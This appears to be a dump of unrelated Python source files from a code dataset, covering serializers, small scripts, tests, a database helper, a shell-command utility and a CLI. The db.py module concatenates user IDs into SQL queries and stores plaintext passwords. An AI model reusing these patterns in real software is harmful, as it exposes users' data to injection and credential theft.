validate(self, attrs):\n print(1111111)\n return attrs\n\n # 先执行局部钩子\n def validate_book_name(self, obj):\n print(2222222222)\n return obj\n\nclass BookListSerializer(serializers.ListSerializer):\n def update(self, instance, validated_data):\n print(instance) # 要修改的实例\n print(validated_data) # 要修改的实例的值\n for index, obj in enumerate(instance):\n self.child.update(obj, validated_data[index])\n return instance\n\nclass BookDeModelSerializerV2(serializers.ModelSerializer):\n class Meta:\n model = Book\n fields = (\"book_name\", \"price\", \"publish\", \"press_name\", \"author_list\", \"pic\", \"author\")\n list_serializer_class = BookListSerializer\n\n extra_kwargs = {\n \"book_name\": {\n \"required\": True, # 必加字段,\n \"min_length\": 2, # 最小长度,\n \"error_messages\": {\n \"required\": \"图书名必须提供\", # 必加字段,\n \"min_length\": \"图书名不能小于2个字符\"\n }\n },\n \"press_name\": {\n \"read_only\": True\n },\n\n \"author_list\": {\n \"read_only\": True\n },\n\n # \"pic\": {\n # \"write_only\": True\n # },\n\n \"author\": {\n \"write_only\": True\n }\n }\n","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"505078511","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 21 08:58:25 2019\n\n@author: ludodata\n\"\"\"\n\nimport random\nimport pandas\n\n\ndef fetekdo():\n df = pandas.read_csv('/Users/ludodata/Simplon/PROJECT/FETEKDO/names.csv')\n list_csv = df.values.tolist()\n \n list = []\n for i in list_csv:\n list = list+i\n \n random.shuffle(list)\n\n i=0\n\n while i != len(list):\n index_max = len(list) - 1\n continue_sort = input('Tirer le duo suivant ? O/N ')\n if continue_sort.lower() == 'o':\n if i < index_max:\n print(list[i], ' donne à ', list[i+1])\n i = i + 1\n else:\n print(list[len(list) - 1], ' donne à ', list[0])\n break\n elif continue_sort.lower() == 'n':\n print('Salut, à la prochaine !')\n break\n else:\n print(\"Lettre 'O' ou lettre 'N' !\")\n","sub_path":"function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"126278265","text":"\"\"\"\nPandoc filter for numbering headers\n\"\"\"\n\nfrom pandocfilters import toJSONFilters, Header, Str\n\nimport re\nimport sys\n\ndef header_numbering(key, value, format, meta):\n\n # Only headers\n if key == 'Header':\n\n [level, desc, content] = value\n\n try:\n # Look for headers starting with (\"Question -\")\n if ((content[0]['t'] == 'Str' and content[0]['c'] == 'Question')\n and (content[1]['t'] == 'Space')\n and (content[2]['t'] == 'Str' and content[2]['c'] == '-')):\n\n # Change the '-' string into the actual number\n content[2] = Str(str(header_numbering.count))\n\n header_numbering.count += 1\n except:\n pass\n\n return Header(level, desc, content)\n\ndef main():\n # Starts the numbering at 1\n header_numbering.count = 1\n toJSONFilters([header_numbering])\n\nif __name__ == '__main__':\n main()\n","sub_path":"pandoc_header_numbering.py","file_name":"pandoc_header_numbering.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"467776302","text":"\"\"\"\nThis module tests the point.py module\n@Author: Jacob Kattampilly\n\"\"\"\nimport unittest\nfrom Point import Point\nfrom ConvexPolygon import ConvexPolygon\n\n\nclass PointandConvexPolygonTest(unittest.TestCase):\n \"\"\"\n This class is used to test then point.py module\n \"\"\"\n '''Point Tests'''\n def test_point_creation(self):\n \"\"\"\n :return:none\n \"\"\"\n mypoint = Point(1,2)\n self.assertEquals(1, mypoint[0])\n self.assertEquals(2, mypoint[1])\n\n def test_point_iteration(self):\n \"\"\"\n :return:none\n \"\"\"\n mypoint = Point( 3, 4)\n index = 0\n for coordinate in mypoint:\n self.assertEqual(mypoint[index], coordinate)\n index += 1\n\n def test_point_set_value(self):\n \"\"\"\n I had implemented __setitem__ but unfortunately Pylist\n complains when i use it with 3 parameters so i implemented\n this differently\n :return:none\n \"\"\"\n mypoint = Point(1, 2)\n mypoint.setitem(0, 2)\n mypoint[1] = 100\n self.assertEqual(mypoint.coordinates[0], 2)\n self.assertEqual(mypoint.coordinates[1], 100)\n\n def test_point_dimensions(self):\n \"\"\"\n :return:none\n \"\"\"\n mypoint = Point(1,2)\n self.assertEqual(mypoint.get_dimensions(), 2)\n\n def test_point_MultiplePointCreation(self):\n points = [Point(*p) for p in [(0, 0), (2, 0), (2, 2), (0, 2)]]\n self.assertEquals(points[1][0], 2 )\n\n '''Convex Hull Tests'''\n def test_polygon_Creation(self):\n points = [Point(*p) for p in [(0, 0), (2, 0), (2, 2), (0, 2)]]\n polygon = ConvexPolygon(*points)\n self.assertEquals(polygon.points[0].x, 0)\n self.assertEquals(polygon.points[0].y, 0)\n\n self.assertEquals(polygon.points[1].x, 2)\n self.assertEquals(polygon.points[1].y, 0)\n\n self.assertEquals(polygon.points[2].x, 2)\n self.assertEquals(polygon.points[2].y, 2)\n\n self.assertEquals(polygon.points[3].x, 0)\n self.assertEquals(polygon.points[3].y, 2)\n\n def test_polygon_findclosestlessthanpoint(self):\n points = [Point(*p) for p in [(0, 0), (2, 0), (2, 2), (0, 2)]]\n polygon = ConvexPolygon(*points)\n p = Point(3, 0)\n point , nextpoint = polygon.findclosestlessthanpoint(polygon.lowerchain,p)\n self.assertEquals(point.x,0)\n self.assertEquals(point.y, 0)\n self.assertEquals(nextpoint.x, 2)\n self.assertEquals(nextpoint.y, 0)\n\n def test_ispointabovelowerchain(self):\n points = [Point(*p) for p in [(0, 0), (2, 0), (2, 2), (0, 2)]]\n polygon = ConvexPolygon(*points)\n p = Point(3, 0)\n self.assertFalse(polygon.ispointabovelowerchain(p))\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"classexercises/HWPointInside/test_pointconvexpolygon.py","file_name":"test_pointconvexpolygon.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"573670080","text":"# import random\nimport string\nimport random\n\ns = string.ascii_letters\nwith open('userinfo2.txt', 'w') as f:\n for i in range(100000):\n fix = random.choice(s)+str(i)\n line = 'linux'+fix+'\\n'\n f.writelines(line)\n","sub_path":"01.新手入门课/文件/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"285543429","text":"#!usr/bin/env python\n\nfrom PIL import Image\n\nim = Image.open(\"cave.jpg\")\nmode = \"L\"\nim = im.convert(mode)\nw=im.size[0]\nh=im.size[1]\n\n#Create new image. Set pixels to every other pixel\nim2 = Image.new(mode,(w/2,h/2))\n\nfor i in range(w/2):\n for j in range(h/2):\n im2.putpixel((i,j),im.getpixel((2*i+1,2*j+1)))\nim2.show()\n","sub_path":"prog11.py","file_name":"prog11.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"96343731","text":"import sqlite3\n\nimport click\nfrom flask import current_app, g\nfrom flask.cli import with_appcontext\n\nimport json\n\nimport itertools\n\nfrom supporting.user import User \n\n################# COMMON DB TASKS #######################\n\ndef get_students_in_section(sec):\n\tdbCommand = 'SELECT * FROM students WHERE section_num='+str(sec)\n\tstudents_db_entries = call_db_with_command(dbCommand) \n\tstudents = [User.create_student_user_from_db(student_entry) for student_entry in students_db_entries]\n\treturn students\n\ndef get_students_in_my_sections(secs):\n\tlist_of_sections = [get_students_in_section(sec) for sec in secs]\n\tmy_students = [item for sublist in list_of_sections for item in sublist]\n\treturn my_students\n\ndef get_user_with_id(user_id):\n\t#to get the user, first check if it's a student. If it's not,\n\t\t# check if it's staff. If it's also not, there's a problem.\n\t\tstudent_account = get_student_with_id(user_id)\n\t\tif student_account:\n\t\t\tUser.create_student_user_from_db(student_account)\n\t\t\treturn studentUser\n\t\tstaff_account = get_staff_with_id(user_id)\n\t\tif staff_account:\n\t\t\tstaffUser = User()\n\t\t\tstaffUser.id = user_id\n\t\t\tstaffUser.isStaff = True\n\t\t\tstaffUser.name = staff_account[\"first_name\"] + \" \" + staff_account[\"last_name\"]\n\t\t\tstaffUser.section = json.loads(staff_account[\"sections\"])\n\t\t\treturn staffUser\n\t\telse:\n\t\t\treturn User()\n\ndef get_attendance_for_student_with_id(user_id):\n\tdbCommand = 'SELECT * FROM attendance WHERE id=\"'+user_id+'\"'\n\tattendance_results = call_db_with_command(dbCommand)\n\treturn attendance_results\n\ndef get_attendance_for_student_with_id_in_class(user_id, class_name):\n\tdbCommand = 'SELECT * FROM attendance WHERE id=\"'+user_id+'\" AND class=\"' + class_name +'\"'\n\tattendance_results = call_db_with_command(dbCommand)\n\treturn attendance_results\n\n################# BASIC DATABASE CALLS ##################\n\n\ndef call_db_with_command(cmd):\n\tdbAccess = get_db()\n\ttry:\n\t\tresult = dbAccess.execute(cmd).fetchall()\n\texcept sqlite3.Error as er:\n\t\tprint(\"ERROR CALLING SQL DB\")\n\t\tprint(er)\n\t\tclose_db()\n\t\treturn None\n\tclose_db()\n\treturn result\n\n\n########## READING AND WRITING TO DATABASE FUNCTIONS\n# be sure to close the database when done\n\ndef get_student_with_id(user_id):\n\tdbAccess = get_db()\n\tstudent = None\n\ttry:\n\t\tstudent = dbAccess.execute('SELECT * FROM students WHERE id='+user_id).fetchall()\n\texcept sqlite3.Error as er:\n\t\tclose_db()\n\t\treturn None\n\tclose_db()\n\treturn student\n\ndef get_staff_with_id(user_id):\n\tdbAccess = get_db()\n\tstaff = None\n\tstaff = dbAccess.execute('SELECT * FROM staff').fetchall()\n\tfor staffMem in staff:\n\t\tprint(staffMem[\"id\"])\n\t\tif staffMem[\"id\"] == user_id:\n\t\t\treturn staffMem\n\treturn None\n\n\n\ndef createStudentInDatabase(idStr, username, password, sec_num, firstname, lastname):\n\tdbAccess = get_db()\n\tdbAccess.execute(\n\t\t\t'INSERT INTO students (id, username, password, first_name, last_name, section_num) VALUES (?, ?, ?, ?, ?, ?)',\n\t\t\t(idStr, username, password, firstname, lastname, sec_num)\n\t)\n\tdbAccess.commit()\n\tclose_db()\n\treturn\n\ndef createAttendanceRecordInDB(user_id, class_name, status):\n\tdbAccess = get_db()\n\tdbAccess.execute(\n\t\t\t'INSERT INTO attendance (id, class, status) VALUES (?, ?, ?)',\n\t\t\t(user_id, class_name, status)\n\t)\n\tdbAccess.commit()\n\tclose_db()\n\treturn\t\n\n\n########### BASIC DATABASE STUFF ########################\n\ndef get_db():\n\tif 'db' not in g:\n\t\tg.db = sqlite3.connect(current_app.config['DATABASE'], detect_types=sqlite3.PARSE_DECLTYPES)\n\t\tg.db.row_factory = sqlite3.Row\n\treturn g.db\n\ndef close_db(e=None):\n\tdb = g.pop('db', None)\n\n\tif db is not None:\n\t\tdb.close()\n\n\ndef init_db():\n\tdb = get_db()\n\n\twith current_app.open_resource('schema.sql') as f:\n\t\tdb.executescript(f.read().decode('utf8'))\n\n############ INIT DATABSE STUFF ########################\n\n@click.command('init-db')\n@with_appcontext\ndef init_db_command():\n\t\"\"\"Clear the existing data and create new tables.\"\"\"\n\tinit_db()\n\tclick.echo('Initialized the database.')\n\n\t##Dev set up\n\tbuildFakeStudentDB()\n\tbuildFakeStaffDB()\n\ndef init_app(app):\n\tapp.teardown_appcontext(close_db)\n\tapp.cli.add_command(init_db_command)\n\n\n\n\n\n\n\n\n############# DEBUGGING STUFF ######################\nimport random\nimport datetime\n\ndef buildFakeStudentDB():\n\tfirstNameChoices = [\"Alice\", \"Bob\", \"Caroline\", \"David\", \"Edna\", \"Faith\", \"Greg\", \"Henry\", \"Illina\", \"Jack\", \"Kelly\", \"Liam\", \"Mary\", \"Nate\", \"Omar\", \"Priscilla\", \"Quinn\", \"Rob\", \"Samantha\", \"Trey\", \"Uva\", \"Violet\", \"Wilburt\", \"Xiaver\", \"Zack\"]\n\tlastNameChoices = [\"Adams\", \"Barber\", \"Chen\", \"Druger\", \"Eisenberg\", \"Freedman\", \"Gilbert\", \"Hamm\", \"Ishik\", \"Jackson\", \"Kawecki\", \"Lamp\", \"Miron\", \"Neuman\", \"Owens\", \"Patel\", \"Qi\", \"Ruiz\", \"Simon\", \"Tan\", \"Ullman\", \"Veech\", \"Williams\", \"Xu\", \"Zui\"]\n\tnumber_of_sections = 30\n\tnumber_of_students_per_section = 8\n\tpassword = \"1234\"\n\tfor sec in range(1, number_of_sections+1):\n\t\tfor i in range(number_of_students_per_section):\n\t\t\ttempFirstName = random.sample(firstNameChoices, 1)[0]\n\t\t\ttempLastName = random.sample(lastNameChoices, 1)[0]\n\t\t\ttempUserName = (tempFirstName[0] + tempLastName).lower()\n\t\t\ttempID = \"2018fall_\" + tempUserName + \"_\" + str(datetime.datetime.now()).replace(\" \", \"_\").replace(\"-\", \"_\").replace(\":\", \"_\").replace(\".\", \"_\")\n\t\t\tcreateStudentInDatabase(tempID, tempUserName, password, sec, tempFirstName, tempLastName)\n\t\t\tcreateAttendanceRecordInDB(tempID, \"L1\", 1)\n\t\t\tcreateAttendanceRecordInDB(tempID, \"L2\", 1)\n\t\t\tcreateAttendanceRecordInDB(tempID, \"R1\", 1)\n\t\t\tcreateAttendanceRecordInDB(tempID, \"R2\", 4)\n\treturn\n\ndef buildFakeStaffDB():\n\tTAs = [\n\t\t(\"2018fall_ta_ksf\", \"ksf\", \"123456\", \"Kenny\", \"Friedman\", json.JSONEncoder().encode([8,9,11,12]), \"1\"),\n\t\t(\"2018fall_ta_achen19\", \"achen19\", \"123456\", \"Alex\", \"Chen\", json.JSONEncoder().encode([13,14]), \"1\"),\n\t\t(\"2018fall_ta_cshong\", \"cshong\", \"123456\", \"Christie\", \"Hong\", json.JSONEncoder().encode([15,16]), \"1\"),\n\t\t(\"2018fall_ta_mdhwang\", \"mdhwang\", \"123456\", \"Mitchell\", \"Hwang\", json.JSONEncoder().encode([21,22,25,26]), \"1\"),\n\t\t(\"2018fall_ta_lpn\", \"lpn\", \"123456\", \"Long\", \"Nguyen\", json.JSONEncoder().encode([7,10]), \"1\"),\n\t\t(\"2018fall_ta_lrpang\", \"lrpang\", \"123456\", \"Laura\", \"Pang\", json.JSONEncoder().encode([23,24, 29, 30]), \"1\"),\n\t\t(\"2018fall_ta_anuhyav\", \"anuhyav\", \"123456\", \"Anuhya\", \"Vajapey\", json.JSONEncoder().encode([17,18,19,20]), \"1\"),\n\t\t(\"2018fall_ta_dwalter\", \"dwalter\", \"123456\", \"David\", \"Walter\", json.JSONEncoder().encode([1,2,27,28]), \"1\"),\n\t\t(\"2018fall_ta_lolzhang\", \"lolzhang\", \"123456\", \"Linda\", \"Zhang\", json.JSONEncoder().encode([3,4,5,6]), \"1\"),\n\t]\n\tRIs = [\n\t\t(\"2018fall_ri_mgray\", \"mgray\", \"1234567\", \"Martha\", \"Gray\", json.JSONEncoder().encode([1,2,3,4]), \"0\"),\n\t\t(\"2018fall_ri_kkoile\", \"kkoile\", \"1234567\", \"Kimberle\", \"Koile\", json.JSONEncoder().encode([5,6]), \"0\"),\n\t\t(\"2018fall_ri_leskolo\", \"leskolo\", \"1234567\", \"Leslie\", \"Kolodziejski\", json.JSONEncoder().encode([7,8,9,10]), \"0\"),\n\t\t(\"2018fall_ri_rajeev\", \"rajeev\", \"1234567\", \"Rajeev\", \"Ram\", json.JSONEncoder().encode([11,12,13,14]), \"0\"),\n\t\t(\"2018fall_ri_joels\", \"leskolo\", \"1234567\", \"Joel\", \"Schindall\", json.JSONEncoder().encode([15,16,17,18]), \"0\"),\n\t\t(\"2018fall_ri_cmstultz\", \"cmstultz\", \"1234567\", \"Collin\", \"Stultz\", json.JSONEncoder().encode([19,20,21,22]), \"0\"),\n\t\t(\"2018fall_ri_lfvelasq\", \"lfvelasq\", \"1234567\", \"Luis\", \"Velasquez-Heller\", json.JSONEncoder().encode([23,24,25,26]), \"0\"),\n\t\t(\"2018fall_ri_verghese\", \"verghese\", \"1234567\", \"George\", \"Verghese\", json.JSONEncoder().encode([27,28,29,30]), \"0\"),\n\t]\n\tallStaff = TAs + RIs\n\tdbAccess = get_db()\n\tfor staffMem in allStaff:\n\t\tdbAccess.execute(\n\t\t\t'INSERT INTO staff (id, username, password, first_name, last_name, sections, isTA) VALUES (?, ?, ?, ?, ?, ?, ?)',\n\t\t\tstaffMem\n\t\t)\n\tdbAccess.commit()\n\tclose_db()\n\treturn\n","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":7680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"162758952","text":"###############################################################################\n##\n## Copyright (C) 2011-2014, NYU-Poly.\n## Copyright (C) 2006-2011, University of Utah. \n## All rights reserved.\n## Contact: contact@vistrails.org\n##\n## This file is part of VisTrails.\n##\n## \"Redistribution and use in source and binary forms, with or without \n## modification, are permitted provided that the following conditions are met:\n##\n## - Redistributions of source code must retain the above copyright notice, \n## this list of conditions and the following disclaimer.\n## - Redistributions in binary form must reproduce the above copyright \n## notice, this list of conditions and the following disclaimer in the \n## documentation and/or other materials provided with the distribution.\n## - Neither the name of the University of Utah nor the names of its \n## contributors may be used to endorse or promote products derived from \n## this software without specific prior written permission.\n##\n## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \n## AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, \n## THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR \n## PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n## CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, \n## EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, \n## PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; \n## OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, \n## WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n## OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n## ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"\n##\n###############################################################################\n\n\"\"\"Routines common to Linux and OSX.\"\"\"\nimport os\nimport os.path\nimport stat\nimport subprocess\nimport sys\nimport vistrails.core.utils\nimport re\n\ndef executable_is_in_path(filename):\n \"\"\"executable_is_in_path(filename): string\n Tests if filename corresponds to an executable file on the path. Returns\nthe filename if true, or an empty string if false.\"\"\"\n cmdline = ['which','%s' % filename]\n output = []\n result = execute_cmdline(cmdline, output)\n if result == 1:\n return \"\"\n if result != 0:\n msg = (\"'%s' failed. Return code %s. Output: %s\" %\n (cmdline, result, output))\n raise vistrails.core.utils.VistrailsInternalError(msg)\n else:\n output = output[0][:-1]\n return output\n\ndef executable_is_in_pythonpath(filename):\n \"\"\"executable_is_in_pythonpath(filename: str)\n Check if exename can be reached in the PYTHONPATH environment. Return\n the filename if true, or an empty string if false.\n \n \"\"\"\n pathlist = sys.path\n for dir in pathlist:\n fullpath = os.path.join(dir, filename)\n try:\n st = os.stat(fullpath)\n except os.error:\n continue \n if stat.S_ISREG(st[stat.ST_MODE]):\n return filename\n return \"\"\n\ndef list2cmdline(lst):\n for el in lst:\n assert isinstance(el, basestring)\n return subprocess.list2cmdline(lst)\n\ndef execute_cmdline(lst, output):\n \"\"\"execute_cmdline(lst: list of str, output)-> int\n Builds a command line enquoting the arguments properly and executes it\n using subprocess.Popen. It returns the error code and the output is on 'output'.\n\n cscheid: why don't we return a tuple of int, lst instead of mutating that list?\n\n \"\"\"\n process = subprocess.Popen(lst, shell=False,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n close_fds=True)\n # cscheid: Should this be busy-waiting? What's going on here?\n result = None\n while result == None:\n result = process.poll()\n output.extend(process.stdout.readlines())\n return result\n\ndef get_executable_path(executable_name):\n paths = os.environ['PATH']\n paths = paths.split(os.pathsep)\n for prefix in paths:\n path = os.path.join(prefix, executable_name)\n if os.path.exists(path):\n return path\n return None\n\ndef execute_piped_cmdlines(cmd_list_list):\n stdin = subprocess.PIPE\n for cmd_list in cmd_list_list:\n cmd_line = list2cmdline(cmd_list)\n process = subprocess.Popen(cmd_line, shell=True,\n stdin=stdin,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n close_fds=True)\n stdin = process.stdout\n (output, errs) = process.communicate()\n result = process.returncode\n return (result, output, errs)\n","sub_path":"vistrails_current/vistrails/core/system/unix.py","file_name":"unix.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"51758339","text":"# Enter script code\nfrom random import randrange\nannouncement = [\"rRREses\",\"\",\"DARN\",\"\",\"OH BOY\",\"\",\"COME HERE\",\"\",\"TP ME\",\"\",\"MESHUGANA\",\"\",\"OY\",\"\"]\ndeclaration = [\"I could seriously use some help here\",\"The devs must be crazy\",\"\",\"Dodge bullets? Sure. But this\",\"MONSTERS\"]\nexpletives = [\"!\",\"!!\",\"!!!\",\"!!!!1\",\"!!!1!\",\"!!1!1!\"]\n\nif not store.has_key(\"mana\"):\n # set the key 'persistant variable' if we don't have it already\n # or if the value is greater than 8 reset it to 5\n store.set_value(\"mana\",5)\n\nmana = store.get_value(\"mana\")\nif mana > 8:\n mana = 5\n\npart1 = announcement[randrange(len(announcement))]\npart2 = declaration[randrange(len(declaration))]\n\nif part1 != \"\":\n part1 = part1 + expletives[randrange(len(expletives))]\nif part2 != \"\":\n part2 = part2 + expletives[randrange(len(expletives))]\n\noutput = \"/yell \" + part1 + \" \" + part2 + \"\\n\"\nkeyboard.send_keys(output)\n\n#do the mana thing\noutput = str(mana)\nkeyboard.send_key(output)\n#increment the mana\nmana = mana + 1\nstore.set_value(\"mana\",mana)","sub_path":"6/zak/w/open/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"426094627","text":"from fastcache import lru_cache\n\n\ndef numDecodings(s: str) -> int:\n if len(s) == 0 or s is None:\n return 0\n @lru_cache(maxsize=None)\n def dfs(string):\n if len(string) > 0:\n if string[0] == '0':\n return 0\n if string == \"\" or len(string) == 1:\n return 1\n if int(string[0:2]) <= 26:\n first = dfs(string[1:])\n second = dfs(string[2:])\n return first + second\n else:\n return dfs(string[1:])\n\n result_sum = dfs(s)\n\n return result_sum\nprint(numDecodings('2'))","sub_path":"decode_number.py","file_name":"decode_number.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"546285783","text":"\"Merge module.\"\nfrom __future__ import annotations\n\nfrom progressivis.core.module import Module, ReturnRunStep\nfrom .table_base import BasePTable\nfrom .table import PTable\nfrom .dshape import dshape_join\nfrom progressivis.utils.inspect import filter_kwds\n\nfrom typing import Dict, Any, cast, List, Tuple, Optional\n\n\ndef merge(\n left: BasePTable,\n right: BasePTable,\n name: Optional[str] = None,\n how: str = \"inner\",\n on: Any = None,\n left_on: Any = None,\n right_on: Any = None,\n left_index: bool = False,\n right_index: bool = False,\n sort: bool = False,\n suffixes: Tuple[str, str] = (\"_x\", \"_y\"),\n copy: bool = True,\n indicator: bool = False,\n merge_ctx: Optional[Dict[str, Any]] = None,\n) -> PTable:\n # pylint: disable=too-many-arguments, invalid-name, unused-argument, too-many-locals\n \"Merge function\"\n lsuffix, rsuffix = suffixes\n if not all((left_index, right_index)):\n raise ValueError(\n \"currently, only right_index=True and \"\n \"left_index=True are allowed in PTable.merge()\"\n )\n dshape, rename = dshape_join(left.dshape, right.dshape, lsuffix, rsuffix)\n merge_table = PTable(name=name, dshape=dshape)\n if how == \"inner\":\n merge_ids = left.index & right.index\n new_ids = left.index & merge_ids\n merge_table.resize(len(new_ids), index=new_ids)\n left_cols = [rename[\"left\"].get(c, c) for c in left.columns]\n right_cols = [rename[\"right\"].get(c, c) for c in right.columns]\n merge_table.loc[merge_ids, left_cols] = left.loc[merge_ids, left.columns]\n merge_table.loc[merge_ids, right_cols] = right.loc[merge_ids, right.columns]\n else:\n raise ValueError(\"how={} not implemented in PTable.merge()\".format(how))\n if isinstance(merge_ctx, dict):\n merge_ctx[\"dshape\"] = dshape\n merge_ctx[\"left_cols\"] = left_cols\n merge_ctx[\"right_cols\"] = right_cols\n return merge_table\n\n\ndef merge_cont(left: BasePTable, right: BasePTable, merge_ctx: Dict[str, Any]) -> PTable:\n \"merge continuation function\"\n merge_table = PTable(name=None, dshape=merge_ctx[\"dshape\"])\n merge_ids = left.index & right.index\n new_ids = left.index & merge_ids\n merge_table.resize(len(new_ids), index=new_ids)\n merge_table.loc[merge_ids, merge_ctx[\"left_cols\"]] = left.loc[\n merge_ids, left.columns\n ]\n merge_table.loc[merge_ids, merge_ctx[\"right_cols\"]] = right.loc[\n merge_ids, right.columns\n ]\n return merge_table\n\n\nclass Merge(Module):\n \"Merge module\"\n\n def __init__(self, **kwds: Any) -> None:\n \"\"\"Merge(how='inner', on=None, left_on=None, right_on=None,\n left_index=False, right_index=False,\n sort=False,suffixes=('_x', '_y'), copy=True,\n indicator=False)\n \"\"\"\n super(Merge, self).__init__(**kwds)\n self.merge_kwds = filter_kwds(kwds, merge)\n self._context: Dict[str, Any] = {}\n\n def run_step(\n self, run_number: int, step_size: int, howlong: float\n ) -> ReturnRunStep:\n frames: List[BasePTable] = []\n for name in self.get_input_slot_multiple(\"table\"):\n slot = self.get_input_slot(name)\n df = cast(BasePTable, slot.data())\n slot.clear_buffers()\n frames.append(df)\n df = frames[0]\n for other in frames[1:]:\n if not self._context:\n df = merge(df, other, merge_ctx=self._context, **self.merge_kwds)\n else:\n df = merge_cont(df, other, merge_ctx=self._context)\n length = len(df)\n self.result = df\n return self._return_run_step(self.state_blocked, steps_run=length)\n","sub_path":"progressivis/table/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":3679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"150337194","text":"from django.urls import path\nfrom .views import (\n MoviesView,\n MovieDetailView,\n AddReview,\n ActorView,\n FilterMoviesView,\n JsonFilterMoviesView,\n AddStarRating,\n Search\n)\nurlpatterns = [\n path('', MoviesView.as_view(), name=\"movie_list\"),\n path('filter/', FilterMoviesView.as_view(), name=\"filter\"),\n path('search/', Search.as_view(), name=\"search\"),\n path('json-filter/', JsonFilterMoviesView.as_view(), name=\"json_filter\"),\n path('add-rating/', AddStarRating.as_view(), name=\"add_rating\"),\n path('/', MovieDetailView.as_view(), name=\"movie_detail\"),\n path('review//', AddReview.as_view(), name=\"add_review\"),\n path('actors//', ActorView.as_view(), name=\"actor_detail\"),\n\n\n\n]\n","sub_path":"movies/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"145669642","text":"\"\"\"\nMain smartglass client\n\nCommon script that handles several subcommands\nSee `Commands`\n\"\"\"\nimport sys\nimport logging\nimport argparse\nimport functools\n\nfrom logging.handlers import RotatingFileHandler\nfrom code import InteractiveConsole\n\nfrom gevent import signal, backdoor\n\nfrom xbox.scripts import TOKENS_FILE, CONSOLES_FILE, LOG_FMT, \\\n LOG_LEVEL_DEBUG_INCL_PACKETS, VerboseFormatter, ExitCodes\n\nfrom xbox.handlers import tui, gamepad_input, text_input, fallout4_relay\nfrom xbox.auxiliary.manager import TitleManager\n\nfrom xbox.webapi.authentication.manager import AuthenticationManager\nfrom xbox.webapi.common.exceptions import AuthenticationException\n\nfrom xbox.sg import manager\nfrom xbox.sg.console import Console\nfrom xbox.sg.enum import ConnectionState\n\n# REST server imports\nfrom gevent import pywsgi as rest_pywsgi\nfrom xbox.rest.app import app as flask_app\n\n\nLOGGER = logging.getLogger(__name__)\n\nREST_DEFAULT_SERVER_PORT = 5557\nREPL_DEFAULT_SERVER_PORT = 5558\n\n\nclass Commands(object):\n \"\"\"\n Available commands for CLI\n \"\"\"\n Discover = 'discover'\n PowerOn = 'poweron'\n PowerOff = 'poweroff'\n REPL = 'repl'\n REPLServer = 'replserver'\n FalloutRelay = 'forelay'\n GamepadInput = 'gamepadinput'\n TextInput = 'textinput'\n TUI = 'tui'\n RESTServer = 'rest'\n\n\ndef parse_arguments(args=None):\n \"\"\"\n Parse arguments with argparse.ArgumentParser\n\n Returns:\n Namespace: Parsed arguments\n\n Raises:\n Exception: On generic failure\n \"\"\"\n\n parser = argparse.ArgumentParser(description='Xbox SmartGlass client')\n\n \"\"\"Common arguments for logging\"\"\"\n logging_args = argparse.ArgumentParser(add_help=False)\n logging_args.add_argument(\n '--logfile',\n help=\"Path for logfile\")\n logging_args.add_argument(\n '-v', '--verbose', action='count', default=0,\n help='Set logging level\\n'\n '( -v: INFO,\\n'\n ' -vv: DEBUG,\\n'\n '-vvv: DEBUG_INCL_PACKETS)')\n\n \"\"\"Common arguments for authenticated console connection\"\"\"\n xbl_token_args = argparse.ArgumentParser(add_help=False)\n xbl_token_args.add_argument(\n '--tokens', '-t', type=str, default=TOKENS_FILE,\n help='Tokenfile to load')\n xbl_token_args.add_argument(\n '--refresh', '-r', action='store_true',\n help=\"Refresh xbox live tokens in provided token file\")\n\n \"\"\"Common argument for console connection\"\"\"\n 